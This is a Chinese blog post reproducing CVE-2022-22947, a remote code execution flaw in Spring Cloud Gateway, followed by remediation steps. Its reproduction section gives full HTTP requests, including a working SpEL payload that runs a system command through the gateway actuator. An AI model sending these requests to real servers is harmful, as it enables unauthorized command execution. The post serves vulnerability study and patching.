Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947

admin 2022年3月5日05:01:42评论639 views字数 3227阅读10分45秒阅读模式
1 漏洞介绍
    Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。

Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947

    3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为 CVE-2022-22947。

    Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。

2 影响范围
    漏洞影响的 Spring Cloud Gateway 版本范围:
Spring Cloud Gateway 3.1.x < 3.1.1Spring Cloud Gateway 3.0.x < 3.0.7其他旧的、不受支持的 Spring Cloud Gateway 版本

3 漏洞复现
(1)添加包含恶意的路由
POST /actuator/gateway/routes/Reset HTTP/1.1Host: ip:portPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://fofa.info/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 326
{ "id": "Reset", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"}

Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947

(2)刷新网关路由
POST /actuator/gateway/refresh HTTP/1.1Host: ip:portPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://fofa.info/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 0

Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947

(3)命令执行成功
GET /actuator/gateway/routes/Reset HTTP/1.1Host: ip:portPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://fofa.info/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947

(4)删除所添加的路由
DELETE /actuator/gateway/routes/Reset HTTP/1.1Host: ip:portPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://fofa.info/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947


4 漏洞修复
更新升级 Spring Cloud Gateway 到以下安全版本:
  • Spring Cloud Gateway 3.1.1
  • Spring Cloud Gateway 3.0.7
或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。

5 参考文章
https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247491844&idx=3&sn=7417acd290d684e07ddfa744b9f98f27https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247488584&idx=1&sn=6d1c795d1772ef0ec83c49dd75166376

原文始发于微信公众号(Reset安全):Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月5日05:01:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Gateway 远程代码执行漏洞复现 CVE-2022-22947https://cn-sec.com/archives/816867.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息